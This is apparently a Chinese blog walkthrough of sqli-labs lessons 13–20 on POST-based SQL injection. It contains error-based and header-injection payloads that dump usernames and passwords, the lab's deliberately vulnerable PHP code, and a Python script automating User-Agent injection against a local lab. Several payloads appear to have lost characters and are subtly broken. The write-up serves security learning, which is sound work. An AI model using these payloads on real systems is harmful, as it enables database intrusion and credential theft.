less-13 POST型双查询注入

less-14 POST型双查询注入

less-15 POST型布尔注入

less-16 POST型布尔注入

less-17 POST型报错注入(updatexml)

less-18 POST型user-agent注入

less-19 POST型referer注入

less-20 POST型cookie注入


less-13

POST型双查询注入

过程:

  1. 判断字段类型,判断字段个数
  • ') or 1=1#
  • ') or 1=1 order by 2#
  1. 双查询注入
  • ') union select count(), concat(database(), "--", floor(rand(0)2)) as a from information_schema.tables group by a #
  1. 数据库知道了爆表名列名得数据一条龙

less-14

POST型双查询注入

过程:

与less-13闭合方式不同,less-14用双引号闭合

  • " union select count(), concat((select concat(username, "::::::",password) from users limit 1,1), "--", floor(rand(0)2)) as a from information_schema.tables group by a #

less-15

POST型布尔注入

过程:

  1. 判断闭合方式

    不管输入什么 页面变化只有failed和seccessfully
  • ' or 1=1#
  • " or 1=1#
  1. 之后流程跟get型布尔盲注流程一样

less-16

POST型布尔注入

过程:

  1. 判断闭合方式

过程跟less-15一样 闭合方式变成')

less-17

POST型报错注入(updatexml)

源码:

function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,15);
} // Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
} // Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
} else
{
$value = intval($value);
}
return $value;
}

学要学习的函数get_magic_quotes_gpc()

当magic_quotes_gpc=On的时候,函数get_magic_quotes_gpc()就会返回1

当magic_quotes_gpc=Off的时候,函数get_magic_quotes_gpc()就会返回0

magic_quotes_gpc函数在php中的作用是判断解析用户提示的数据,如包括有:post、get、cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误。

在magic_quotes_gpc = On的情况下,如果输入的数据有

单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符都会被加上反斜线。

stripslashes()删除由 addslashes() 函数添加的反斜杠

ctype_digit()判断是不是数字,是数字就返回true,否则返回false

mysql_real_escape_string()转义 SQL 语句中使用的字符串中的特殊字符。

intval() 整型转换

这一关中不能对username下手 要从passwordd开始

过程:

17关对username进行了严格的过滤

注入的格式:

  • admin' or updatexml(1, (concat('#',(payload))), 1) #

payload可以换成需要查询的函数

  1. 数据库名
  • admin' or updatexml(1, concat('#', database()), 1) #
  1. 表名
  • updatexml(1, concat("#", (select group_concat(table_name) from information_schema.tables where table_schema="security")), 0) #

less-18

POST型user-agent注入

什么是user-agent

user-agent参考博文

源码:

// uagent的接收是未经过严格过滤的
$uagent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR'];
echo "<br>";
echo 'Your IP ADDRESS is: ' .$IP;
echo "<br>";
//echo 'Your User Agent is: ' .$uagent;
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd'])) {
// 此处表明我们输入的uname和passwd是经过后台严格检验的,因此想从这里注入是很难的。
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']); //logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Agent:'.$uname."\n"); fclose($fp); $sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
if($row1)
{
echo '<font color= "#FFFF00" font size = 3 >';
// 这里有一个插入sql语句,而uagent也没有严格过滤,我们可以从这里入手注入
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
mysql_query($insert);
//echo 'Your IP ADDRESS is: ' .$IP;
echo "</font>";
//echo "<br>";
echo '<font color= "#0000ff" font size = 3 >';
echo 'Your User Agent is: ' .$uagent;
echo "</font>";
echo "<br>";
print_r(mysql_error());
echo "<br><br>";
echo '<img src="../images/flag.jpg" />';
echo "<br>"; }
else
{
echo '<font color= "#0000ff" font size="3">';
//echo "Try again looser";
print_r(mysql_error());
echo "</br>";
echo "</br>";
echo '<img src="../images/slap.jpg" />';
echo "</font>";
} }

uname和passwd都经过个严格过滤,没有注入点

过程:

  1. 输入

admin admin

看到user-agent的回显

  1. 抓包修改user-agent改为payload
  • 'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '
  • ' or updatexml(1, concat('#', (select group_concat(table_name) from information_schema.tables where table_schema="security")), 0), 1, 1) #
  • ' or updatexml(1, concat('#', (select group_concat(username) from users)), 0), 1, 1) #
  • ' or updatexml(1, concat('#', (select group_concat(password) from users)), 0), 1, 1) #

使用python脚本

import requests
import re class Header_injection():
def __init__(self, headers, url):
self.headers = headers
self.url = url def injection(self):
# 配置post提交数据
data = {'uname': 'admin', 'passwd':'admin'} for header in self.headers:
# 构造请求头
headers = {
"User-Agent": header
} # 以post方式提交请求
response = requests.post(url=url, headers = headers, data=data).text # 使用正则表达式对返回HTML进行过滤,得到最终结果
result = re.search('XPATH syntax error:(.*?)<br>', response) # 输出结果
print("The answer is %s" % result.group(1)) if __name__ == '__main__': headers = [
"' or updatexml(1, concat('#', database()), 0), 1, 1) #",
"' or updatexml(1, concat('#', (select group_concat(table_name) from information_schema.tables where table_schema='security')), 0), 1, 1) #",
"' or updatexml(1, concat('#', (select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')), 0), 1, 1) #",
"' or updatexml(1, concat('#', (select concat(username,':::', password) from users limit 0, 1)), 0), 1, 1) #",
]
url = "http://localhost:7788/sqli/Less-18/" h = Header_injection(headers, url)
h.injection()

less-19

POST型referer注入

什么是rederer

referer的参考博文

过程:

  1. 输入admin admin有回显 猜测是rederer注入

源码:

$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
if($row1)
{
echo '<font color= "#FFFF00" font size = 3 >';
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
mysql_query($insert);
//echo 'Your IP ADDRESS is: ' .$IP;
echo "</font>";
//echo "<br>";
echo '<font color= "#0000ff" font size = 3 >';
echo 'Your Referer is: ' .$uagent;
echo "</font>";
echo "<br>";
print_r(mysql_error());
echo "<br><br>";
echo '<img src="../images/flag.jpg" />';
echo "<br>"; }
  • ' or updatexml(1, concat('#', database()), 0), 1) #

  • ' or updatexml(1, concat('#', (select group_concat(table_name) from information_schema.tables where table_schema="security")), 0), 1) #

  • ' or updatexml(1, concat('#', (select group_concat(column_name) from information_schema.columns where table_name="users" and table_schema="security")), 0), 1) #

  • ' or updatexml(1, concat('#', (select concat(id, username, password) from users limit 0,1)), 0), 0) #

less-20

POST型cookie注入

cookie是什么

cookie参考博文

过程:

  1. 利用cookie,浏览器每次向服务器发送请求的时候,如果本地存有相关的cookie信息,则会将cookie一并发送给服务器

通过burp抓包修改cookie值

sqli-labs less13-20(各种post型头部注入)的更多相关文章

  1. SQLI LABS Basic Part(1-22) WriteUp

    好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...

  2. Sqli labs系列-less-3 。。。

    原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...

  3. Sqli labs系列-less-2 详细篇

    就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...

  4. Sqli labs系列-less-1 详细篇

    要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...

  5. 韩顺刚-tcp报文头协议详细分析第一包数据:序号是0,发送数据的长度是0,因为没有收到对端的数据,所以确认号是0, Syn的标志位设置成1,这里没有发送的数据,只发送TCP的20个字节的头部

    TCP报文段首部格式 大部分TCP报文头部都是20个字节,有的数据包要加上选项. 上面一行代表4个字节,源端口和目的端口都是2个字节. TCP协议是面向字节流的协议 TCP是一段一段分块的发送数据的 ...

  6. 字符型SQL注入

      字符型SQL注入 很早就基于DVWA实现了字符型的SQL注入,但是一直感觉自己没有理解的特别清楚,这次又看了一下网上的一些讲解,试着总结一下.以下是我的一写浅薄见解,请大家批判着看. 基本原理 看 ...

  7. [典型漏洞分享]Insert型SQL注入的发现和利用,篡改订单金额

    本例中的SQL注入和其它发现的SQL注入的主要区别:1.生成订单接口是一次性的,反复提交无效,因此,此类型的SQL注入比较难通过扫描器发现,需要人工提取和手动测试.2.Insert类型的SQL注入,不 ...

  8. 2019-9-9:渗透测试,docker下载dvwa,使用报错型sql注入dvwa

    docker下载dvwa镜像,报错型注入dvwa,low级 一,安装并配置docker 1,更新源,apt-get update && apt-get upgrade &&am ...

  9. 挖洞入门_显错型SQL注入

    简介:在漏洞盒子挖洞已经有一段时间了,虽说还不是大佬,但技术也有所进步,安全行业就是这样,只有自己动手去做,才能将理论的知识变为个人的经验.本篇文章打算分享一下我在挖显错型SQL注入漏洞过程中的一些个 ...

随机推荐

  1. 为什么你写的拦截器注入不了 Java bean?

    一.如何实现拦截器 在Spring Boot项目中,拦截器经常被用来做登陆验证,日志记录等操作.拦截器是Spring提供的,所以可以将拦截器注成bean,由IOC容器来管理.实现拦截器的方式很简单,主 ...

  2. kali 更新msf

    用leafpad打开,方便复制粘贴 leafpad /etc/apt/sources.list 然后复制下面的源覆盖原本的 deb http://mirrors.ustc.edu.cn/kali ka ...

  3. 思维导图iMindMap可以在哪些领域应用

    生活工作中你常常会遇到许多力所不能及的事情,感到无奈.茫然,这时候你急需一个帮手来帮你打破困境,思维导图就是这样的救世主,至于它有哪些力所能及的事情就是下面小编要跟你讲的. 你是否经常遇到过这样的情况 ...

  4. 攻克弹唱第九课(如何运用好G大调和弦)

    在本期文章中,笔者将使用guitar pro7软件与大家分享如何运用好G大调音阶的经验. 众所周知,在我们学习吉他的过程中,先从C大调开始,再以G大调为深入,然后才走过入门的阶段.很多朋友都觉得自己对 ...

  5. css3系列之linear-gradient() repeating-linear-gradient() 和 radial-gradient() repeating-radial-gradient()

    linear-gradient()  (线性渐变) repeating-linear-gradient()   (重复的线性渐变) radial-gradient()  (镜像渐变) repeatin ...

  6. nginx学习http_auth_basic_module模块

    对2.html页面做授权操作 先进行账号密码的生成  使用  htpasswd -c /etc/nginx/auth_conf  用户名 输入2次密码 (如果没有htpasswd,可以使用yum  - ...

  7. 网络拓扑实例之交换机基于接口地址池作为DHCP服务器(六)

    组网图形 DHCP服务器简介 通常用户希望网络中的每台终端能够动态获取IP地址.DNS服务器的IP地址.路由信息.网关信息等网络参数,不需要手动配置终端的IP地址等网络参数:另外,针对一些移动终端(手 ...

  8. select监听服务端

    # can_read, can_write, _ = select.select(inputs, outputs, None, None)## 第一个参数是我们需要监听可读的套接字, 第二个参数是我们 ...

  9. 16_Android的数据存储_ SharedPreference、XML和JSON

    1. Android读写首选项 1.1 SharedPreferences SharedPreferences 是一种轻型的数据存储方式,它的本质是基于XML文件存储Key-Value键值对数据,通常 ...

  10. 这可能是最为详细的Docker入门总结

    写在前面 毕设是关于区块链的,自然就用到了docker,感觉到了docker的强大.学习源于总结,所以找了一些资料,这篇文章原作写的不错,看了好多遍哈哈. 这可能是最为详细的Docker入门总结 市面 ...